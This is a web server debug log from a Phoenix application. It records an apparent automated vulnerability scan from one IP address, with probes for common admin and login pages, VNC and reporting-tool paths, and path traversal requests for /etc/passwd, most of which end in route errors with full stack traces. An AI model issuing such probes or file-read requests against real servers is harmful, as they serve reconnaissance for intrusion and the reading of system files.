    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:00.176000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45466] GET /index.asp%5C
[Thu Sep  3 07:56:00.195000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45466] ** (Phoenix.Router.NoRouteError) no route found for GET /index.asp%5C (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:00.885000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45470] GET /default.asp%5C
[Thu Sep  3 07:56:00.918000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45470] ** (Phoenix.Router.NoRouteError) no route found for GET /default.asp%5C (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:01.599000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45480] GET /login.asp%5C
[Thu Sep  3 07:56:01.616000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45480] ** (Phoenix.Router.NoRouteError) no route found for GET /login.asp%5C (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:07.020000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58142] GET /nessus-check/tomcat_error_version.nasl
[Thu Sep  3 07:56:07.062000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58142] ** (Phoenix.Router.NoRouteError) no route found for GET /nessus-check/tomcat_error_version.nasl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:08.008000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58144] GET /webpages/
[Thu Sep  3 07:56:08.034000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58144] ** (Phoenix.Router.NoRouteError) no route found for GET /webpages (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:08.759000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58148] GET /webpages/index.html
[Thu Sep  3 07:56:08.783000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58148] ** (Phoenix.Router.NoRouteError) no route found for GET /webpages/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:09.620000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58150] GET /webpages/login.html
[Thu Sep  3 07:56:09.706000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58150] ** (Phoenix.Router.NoRouteError) no route found for GET /webpages/login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:11.133000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58152] GET /ldap/cgi-bin/ldacgi.exe
[Thu Sep  3 07:56:11.171000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58152] ** (Phoenix.Router.NoRouteError) no route found for GET /ldap/cgi-bin/ldacgi.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:17.338000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49310] GET /tightvnc-jviewer.jar
[Thu Sep  3 07:56:17.369000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49310] ** (Phoenix.Router.NoRouteError) no route found for GET /tightvnc-jviewer.jar (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:17.894000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49326] GET /VncViewer.jar
[Thu Sep  3 07:56:17.914000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49326] ** (Phoenix.Router.NoRouteError) no route found for GET /VncViewer.jar (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:21.118000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49336] GET /spotfire/about.jsp
[Thu Sep  3 07:56:21.146000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49336] ** (Phoenix.Router.NoRouteError) no route found for GET /spotfire/about.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:23.633000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53520] GET /jasperserver-pro/login.html
[Thu Sep  3 07:56:23.649000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53520] ** (Phoenix.Router.NoRouteError) no route found for GET /jasperserver-pro/login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=46.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 07:56:26.345000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) schemeURI is not supported
[Thu Sep  3 07:56:33.695000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34350] GET /etc/passwd
[Thu Sep  3 07:56:33.707000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34350] ** (Phoenix.Router.NoRouteError) no route found for GET /etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:34.316000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34376] GET //etc/passwd
[Thu Sep  3 07:56:34.331000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34376] ** (Phoenix.Router.NoRouteError) no route found for GET /etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:36.235000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34386] POST /index.php
[Thu Sep  3 07:56:36.265000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34386] ** (Phoenix.Router.NoRouteError) no route found for POST /index.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:37.136000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34360] GET /
[Thu Sep  3 07:56:37.136000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:34360] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:56:37.138000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34360] Sent 200 in 2ms
[Thu Sep  3 07:56:40.884000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34398] GET /
[Thu Sep  3 07:56:40.885000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:34398] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:56:40.886000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34398] Sent 200 in 1ms
